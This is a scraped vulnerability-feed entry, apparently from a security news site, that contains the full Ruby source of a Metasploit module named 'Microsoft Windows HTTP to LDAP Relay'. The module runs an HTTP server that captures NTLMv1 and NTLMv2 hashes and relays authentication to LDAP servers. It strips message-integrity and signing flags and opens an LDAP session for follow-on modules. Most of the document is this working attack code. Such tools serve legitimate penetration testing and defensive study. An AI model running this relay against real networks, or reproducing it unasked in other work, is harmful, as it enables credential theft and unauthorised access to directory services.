{“lastseen”:”2026-04-30T19:28:02″,”description”:”This module supports running an HTTP server which validates credentials, and then attempts to execute a relay attack against an LDAP server on the configured RHOSTS hosts. It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check…”,”published”:”2026-04-30T18:57:43″,”modified”:”2026-04-30T18:57:43″,”type”:”metasploit”,”title”:”Microsoft Windows HTTP to LDAP Relay”,”source”:””,”references”:””,”id”:”MSF:AUXILIARY-SERVER-RELAY-HTTP_TO_LDAP-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# frozen_string_literal: true\\n\\n##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\nrequire ‘openssl’\\nrequire ‘rex\/proto\/gss’\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Exploit::Remote::HttpServer::Relay\\n include Msf::Auxiliary::CommandShell\\n\\n attr_accessor :service\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Microsoft Windows HTTP to LDAP Relay’,\\n ‘Description’ =\\u003e %q{\\n This module supports running an HTTP server which validates credentials, and\\n then attempts to execute a relay attack against an LDAP server on the\\n configured RHOSTS hosts.\\n\\n It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check\\n (MIC). As a result, this will only work with NTLMv1. The module takes care of\\n removing the relevant flags to bypass signing.\\n\\n If the relay succeeds, an LDAP session to the target will be created. This can\\n be used by any modules that support LDAP sessions, like `admin\/ldap\/rbcd` or\\n `auxiliary\/gather\/ldap_query`.\\n\\n Supports LDAP and captures NTLMv1 as well as NTLMv2 hashes.\\n },\\n ‘Author’ =\\u003e [\\n ‘jheysel-r7’ # module and http_relay server\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Actions’ =\\u003e [\\n [ ‘CREATE_LDAP_SESSION’, { ‘Description’ =\\u003e ‘Create an LDAP session’ } ]\\n ],\\n ‘PassiveActions’ =\\u003e [ ‘CREATE_LDAP_SESSION’ ],\\n ‘DefaultAction’ =\\u003e ‘CREATE_LDAP_SESSION’,\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [ CRASH_SAFE ],\\n ‘Reliability’ =\\u003e [ REPEATABLE_SESSION ],\\n ‘SideEffects’ =\\u003e [ IOC_IN_LOGS, ACCOUNT_LOCKOUTS ]\\n }\\n )\\n )\\n\\n register_options(\\n [\\n Opt::RPORT(389)\\n ]\\n )\\n\\n register_advanced_options(\\n [\\n OptBool.new(‘RANDOMIZE_TARGETS’, [true, ‘Whether the relay targets should be randomized’, true]),\\n OptInt.new(‘SessionKeepalive’, [true, ‘Time (in seconds) for sending protocol-level keepalive messages’, 10 * 60])\\n ]\\n )\\n end\\n\\n def srvport\\n datastore[‘SRVPORT’]\\n end\\n\\n def relay_targets\\n Msf::Exploit::Remote::Relay::TargetList.new(\\n :ldap,\\n datastore[‘RPORT’],\\n datastore[‘RHOSTS’],\\n datastore[‘TARGETURI’],\\n randomize_targets: datastore[‘RANDOMIZE_TARGETS’],\\n drop_mic_only: false,\\n drop_mic_and_sign_key_exch_flags: true\\n )\\n end\\n\\n def check_options\\n unless framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE)\\n fail_with(Failure::BadConfig, ‘This module requires the `ldap_session_type` feature to be enabled. Please enable this feature using `features set ldap_session_type true`’)\\n end\\n end\\n\\n def run\\n check_options\\n\\n start_service\\n print_status(‘Server started.’)\\n @http_relay_service.wait if @http_relay_service\\n end\\n\\n def on_relay_success(relay_connection:, relay_identity:)\\n print_good(‘Relay succeeded’)\\n session_setup(relay_connection, relay_identity)\\n rescue StandardError =\\u003e e\\n elog(‘Failed to setup the session’, error: e)\\n end\\n\\n def session_setup(relay_connection, relay_identity)\\n client = relay_connection.create_ldap_client\\n ldap_session = Msf::Sessions::LDAP.new(\\n relay_connection.socket,\\n {\\n client: client,\\n keepalive_seconds: datastore[‘SessionKeepalive’]\\n }\\n )\\n domain, _, username = relay_identity.partition(‘\\\\\\\\’)\\n datastore_options = {\\n ‘DOMAIN’ =\\u003e domain,\\n ‘USERNAME’ =\\u003e username\\n }\\n start_session(self, nil, datastore_options, false, ldap_session.rstream, ldap_session)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/server\/relay\/http_to_ldap.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/server\/relay\/http_to_ldap\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-30T19:28:02″,”description”:”This module supports running an HTTP server which validates credentials, and then attempts to execute a relay attack against an LDAP server on the configured…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-50507","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n